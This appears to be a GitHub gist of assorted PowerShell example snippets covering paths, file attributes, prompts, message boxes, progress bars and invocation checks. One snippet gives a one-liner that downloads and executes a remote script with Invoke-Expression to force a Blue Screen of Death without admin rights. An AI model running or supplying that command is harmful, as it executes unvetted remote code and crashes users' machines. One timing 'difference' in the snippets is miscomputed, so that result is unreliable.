Skip to content

Instantly share code, notes, and snippets.

@daephx
Last active November 12, 2022 19:50
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save daephx/02e85814ce794af89476b3147643a69e to your computer and use it in GitHub Desktop.
Save daephx/02e85814ce794af89476b3147643a69e to your computer and use it in GitHub Desktop.
[Powershell Examples] #PowerShell #Examples
<#
.SYNOPSIS
Diffrent methods for displaying relative path
#>
# Existing Path
$PWD | Resolve-Path -Relative
# Replace String
$Path -replace [regex]::Escape((Get-Location).Path), '.'
<#
.SYNOPSIS
Get image information
#>
Add-Type -AssemblyName System.Drawing
$Image = [System.Drawing.Image]::FromFile('.\path\to\img.png')
$Image.size
<#
.SYNOPSIS
Retreive a timestamp of when an item was accessed.
#>
Write-Host "`nThe " + "$" + "HOME Directory was last accessed at: " + $(Get-Item $HOME).LastAccessTime
<#
.SYNOPSIS
Measure the amount of loaded modules.
#>
Write-Host "Number of modules loaded = " + (Get-Module).Count
<#
.SYNOPSIS
Change item attributes, i.e. 'Hidden'
.NOTES
! For files/folders that are already hidden, Force paramater is REQUIRED!
Otherwise Get-Item/Get-ChildItem cannot access the item.
#>
$Path = "your_path_here"
# For a single file, you can change the attributes property, like this:
$Item = Get-Item -Path:$Path -Force
$Item.Attributes = "Hidden"
# To hide everything within a folder, you can use Get-ChildItem, like this:
Get-ChildItem -Path:$Path -Recurse -Force | ForEach-Object { $_.Attributes = "Hidden" }
<#
.SYNOPSIS
Invokes a Blue Screen of Death from remote script; w/o admin privileges.
.LINK
Source: https://github.com/peewpw/Invoke-BSOD
#>
# Quick One-liner
Invoke-Expression((New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-BSOD/master/Invoke-BSOD.ps1')); Invoke-BSOD
# Seperated
$URI = 'https://raw.githubusercontent.com/peewpw/Invoke-BSOD/master/Invoke-BSOD.ps1'
Invoke-Expression((New-Object Net.Webclient).DownloadString($URI))
Invoke-BSOD
<#
.SYNOPSIS
Determine human readable filesize
.LINK
https://stackoverflow.com/questions/24616806/powershell-display-files-size-as-kb-mb-or-gb
#>
# !IMPORTANT: Get-Help command wont work if script starts with function.
# This is required for example scripts to generate markdown description from Synopsis.
Write-Host "`n" (Get-Help $PSCommandPath).Synopsis
function DisplayInBytes($Value) {
$Index = 0
$Suffix = "B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"
while ($Value -gt 1kb) {
$Value = $Value / 1kb
$Index++
}
"{0:N1} {1}" -f $Value, $Suffix[$Index]
}
# Invocation context, only execute if NOT sourced
if ($MyInvocation.InvocationName -eq '.') {
Write-Host "This script is not designed to be sourced" -ForegroundColor Red
return
}
# Execute Example
Write-Host "Directory Information" -ForegroundColor Magenta
$Files = Get-ChildItem -Recurse
$Bytes = ($Files | Measure-Object -Property Length -Sum).Sum
$Hash = [ordered]@{
Filecount = $Files.Count
WorkingDir = $PWD
}
$Hash | Format-Table -HideTableHeaders
Write-Host "Static Measurements" -ForegroundColor Magenta
$Hash = [ordered]@{
Bytes = $Bytes
Kilobytes = ("{0} KB" -f ($Bytes / 1KB))
Megabytes = ("{0} MB" -f ($Bytes / 1MB))
Gigabytes = ("{0} GB" -f ($Bytes / 1GB))
Terabytes = ("{0} TB" -f ($Bytes / 1TB))
}
$Hash | Format-Table -HideTableHeaders
Write-Host "Dynamic Measurements" -ForegroundColor Magenta
$Hash = [ordered]@{
Bytes = $Bytes
Truncated = $(DisplayInBytes $Bytes)
}
$Hash | Format-Table -HideTableHeaders
<#
.SYNOPSIS
GUI listview of symbolic links, selection opens path in explorer.
#>
$ReparsePoints = Get-ChildItem -Path $ENV:USERPROFILE -Recurse -Depth 4 |
Where-Object { $_.Attributes -match "ReparsePoint" }
$Selection = $ReparsePoints | Out-GridView -PassThru -Title "Symbolic Links"
if ( $Null -ne $Selection) { Invoke-Item $Selection }
<#
.SYNOPSIS
Display a color gradient in the terminal. Just for fun.
.LINK
https://www.reddit.com/r/PowerShell/comments/b06gtw/til_that_powershell_can_do_colors/
#>
# !IMPORTANT: Get-Help command wont work if script starts with function.
# This is required for example scripts to generate markdown description from Synopsis.
Write-Host "`n" (Get-Help $PSCommandPath).Synopsis
function Show-AnsiColorGradient {
# ANSI escape character
$ansi_escape = [char]27
try {
for ($r = 0; $r -le 255; $r += 16) {
for ($g = 0; $g -le 255; $g += 8) {
Write-Host "" # Separate
for ($b = 0; $b -le 255; $b += 4) {
$ansi_command = "$ansi_escape[48;2;{0};{1};{2}m" -f $r, $g, $b
$text = " "
$ansi_terminate = "$ansi_escape[0m"
$out = $ansi_command + $text + $ansi_terminate
Write-Host -NoNewline $out
}
}
break
}
}
finally {
Write-Host "" # Separate
}
}
<#
.SYNOPSIS
Prompt user for [y/n] confirmation.
.NOTES
* Consider:
If a cmdlet supports the -confirm parameter, it can be forced to prompt before any action.
I just like version #1 because it's concise.
#>
# Version #1
$Message = "Are you sure you wish to commit this action?"
while ( -not ( ($Choice = (Read-Host $Message)) -match "y|n")) { $Message = "Please specify [y/n]" }
if ($Choice -notmatch "[yY]") { break }
# Version #2
$Caption = "Confirm"
$Message = "Are You Sure?"
$Yes = New-Object System.Management.Automation.Host.Choicedescription "&Yes", "Help"
$No = New-Object System.Management.Automation.Host.Choicedescription "&No", "Help"
$Choices = [System.Management.Automation.Host.Choicedescription[]]($Yes, $No)
$Answer = $Host.Ui.Promptforchoice($Caption, $Message, $Choices, 0)
Switch ($Answer) {
0 { "You Entered 0"; Break }
1 { "You Entered 1"; Break }
}
<#
.SYNOPSIS
Make a GUI Message Box visible to the user
.EXAMPLE
* Windows Forms:
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.MessageBox]::Show('Hello')
.LINK
https://docs.microsoft.com/en-us/dotnet/api/system.windows.forms.messagebox
.EXAMPLE
* PresentationFramework:
Add-Type -AssemblyName PresentationFramework
[System.Windows.MessageBox]::Show('Hello')
.LINK
https://docs.microsoft.com/en-us/dotnet/api/system.windows.messagebox
#>
# MessageBox Dialog
$Title = 'MessageBox Example'
$Message = 'What action do you wish to take?'
$ButtonType = 'YesNoCancel'
$MessageIcon = 'Error'
Add-Type -AssemblyName PresentationFramework
$MsgBox = [System.Windows.MessageBox]::Show($Message, $Title, $ButtonType, $MessageIcon)
switch ($MsgBox) {
'Yes' { Write-Output "You clicked 'Yes'" }
'No' { Write-Output "You clicked 'No'" }
'Cancel' { Write-Output "You clicked 'Cancel'" }
}
<#
.SYNOPSIS
Comparing the performance of two serperate appending methods
.DESCRIPTION
PowerShell, arrays are of a fixed size.
This means that each time you use the '+=' in the background you are creating a brand new array,
containing the old contents plus the newly appended item.
This is computationally expensive! It would be better to use [Collections.Generic.List]
.LINK
Reference: https://theposhwolf.com/howtos/PS-Plus-Equals-Dangers/
#>
# Set the number of loop iterations
$Iterations = 10000
# Powershell version information
Write-Host "`nPS $($PSVersionTable.PSEdition) $($PSVersionTable.PSVersion.ToString())`n"
$Measurement_01 = Measure-Command {
$Array = @()
1..$Iterations | ForEach-Object { $Array += "$_" }
}
# Example #1 -- Standard Array
Write-Host "'Array +='`t: " -NoNewline
Write-Host "Milliseconds: $($Measurement_01.TotalMilliseconds)"
# Example #2 -- Generic List
$Measurement_02 = Measure-Command {
$List = [System.Collections.Generic.List[string]]::new()
1..$Iterations | ForEach-Object { $null = $List.Add("$_") }
}
Write-Host "'List.Add()'`t: " -NoNewline
Write-Host "Milliseconds: $($Measurement_02.TotalMilliseconds)"
# Compute difference
Write-Host "'Complete'`t: " -NoNewline
Write-Host "Milliseconds: $($Measurement_02.TotalMilliseconds + $Measurement_01.TotalMilliseconds)"
<#
.SYNOPSIS
Continue script action after interuption.
.DESCRIPTION
Using 'try : finally' blocks to continue some action,
even if the user stops the script preemptively.
.NOTES
Additionally,
the stationary loop counter showed me that when calculating the length of an integer,
you can convert it to a string.
#>
Try {
$counter = 0
Write-Host "`nThis script will not stop on its own" -fore yellow
Write-Host "Press 'Ctrl+C' to stop the current script...`n"
Write-Host "Loop: " -NoNewline
While ($True) {
# Runs ad infinitum
Write-Host ("$counter" + ("`b" * $counter.tostring().length)) -NoNewline
Start-Sleep 1
$counter++
}
}
Finally {
Write-Host "`nScript has been terminated." -fore red; ""
}
<#
.SYNOPSIS
Check script invocation method
.DESCRIPTION
Verify the invocation method of the current script.
Allowing for similar functionality to python's if __name == '__main__':
A script function can be sourced without running the payload.
Or executed as a standalone script.
#>
# Checking Command Origin
# Runspace if script is executed
# Internal if script is imported
if ($MyInvocation.CommandOrigin -eq 'Runspace') { Write-Host "Runspace" }
if ($MyInvocation.CommandOrigin -eq 'Internal') { Write-Host "Internal" }
# Alternatively, more information about how the script was started
If ($MyInvocation.InvocationName -eq '&') {
"Called using operator: '$($MyInvocation.InvocationName)'"
}
ElseIf ($MyInvocation.InvocationName -eq '.') {
"Dot sourced: '$($MyInvocation.InvocationName)'"
}
ElseIf ((Resolve-Path -Path $MyInvocation.InvocationName).ProviderPath -eq $MyInvocation.MyCommand.Path) {
"Called using path: '$($MyInvocation.InvocationName)'"
}
<#
.SYNOPSIS
Does something with paths supplied via pipeline.
.PARAMETER Path
Specifies a path to one or more locations. Wildcards are permitted.w
The default location is the current directory (.).
.LINK
https://stackoverflow.com/questions/30893839/create-powershell-parameter-default-value-is-current-directory
#>
# !IMPORTANT: Get-Help command wont work if script starts with function.
# This is required for example scripts to generate markdown description from Synopsis.
Write-Host "`n" (Get-Help $PSCommandPath).Synopsis
Function Test-Pipeline {
[CmdletBinding()]
param(
[Parameter(
Mandatory = $False,
ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True
)]
[PSDefaultValue(Help = 'Description for default value.')]
[SupportsWildcards()]
[String[]]$Path = '.'
)
BEGIN { Write-Host "Script Begin!" }
PROCESS {
$Path | ForEach-Object {
$Item = Get-Item $_
Write-Host "Item: $Item"
}
}
END { Write-Host "Script End!" }
}
<#
.SYNOPSIS
Display & update progress bar
.DESCRIPTION
For this we will be counting for 1 minute; the Start-Sleep function is 1 second
By looping through each second and calculating the percent complete we can update the progess bar.
#>
# !IMPORTANT: Get-Help command wont work if script starts with function.
# This is required for example scripts to generate markdown description from Synopsis.
Write-Host "`n" (Get-Help $PSCommandPath).Synopsis
function Test-ProgressBar {
Write-Host -fore Cyan "Let's just take a minute to relax..."
For ($i = 0; $i -le 60; $i++) {
Write-Progress -Activity "I'll count. $i second[s]" -PercentComplete ($i / 60 * 100)
Start-Sleep 1
}
}
<#
.SYNOPSIS
Example function for '-WhatIf' parameter support.
#>
# !IMPORTANT: Get-Help command wont work if script starts with function.
# This is required for example scripts to generate markdown description from Synopsis.
Write-Host "`n" (Get-Help $PSCommandPath).Synopsis
Function Test-WhatIf {
[CmdletBinding(SupportsShouldProcess)]
Param([String]$Objects)
ForEach ($item in $Objects) {
If ($PSCmdlet.ShouldProcess("$item", "Action")) {
"Action: -> $item" # This will only run without '-WhatIf'
}
}
}
# Invocation context, only execute if NOT sourced
if ($MyInvocation.InvocationName -ne '.') {
Test-WhatIf "ITEM" -WhatIf
}
<#
.SYNOPSIS
Display text in the center of the terminal window.
.DESCRIPTION
* Bonus Example: Selection Menu
A function that calculates the center of the console by character columns to display some text,
This is mostly a stylistic function. It doesn't fair very well when the console window is resized.
#>
# !IMPORTANT: Get-Help command wont work if script starts with function.
# This is required for example scripts to generate markdown description from Synopsis.
Write-Host "`n" (Get-Help $PSCommandPath).Synopsis
function Write-HostCenter {
Param($Message)
Write-Host ("{0}{1}" -f (' ' * (([Math]::Max(0, $Host.UI.RawUI.BufferSize.Width / 2) - [Math]::Floor($Message.Length / 2)))), $Message)
}
function Show-Menu {
Param ([string]$Title = 'My Menu')
Clear-Host
Write-HostCenter "================ $Title ================"
Write-HostCenter "1: Press '1' for this option."
Write-HostCenter "2: Press '2' for this option."
Write-HostCenter "3: Press '3' for this option."
Write-HostCenter "Q: Press 'Q' to quit."
}
Do {
Show-Menu
$input = Read-Host "Please make a selection"
Switch ($input) {
'1' { 'You chose option #1' }
'2' { 'You chose option #2' }
'3' { 'You chose option #3' }
'q' { Return }
}
Pause
}
Until ($input -eq 'q')
Clear-Host
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment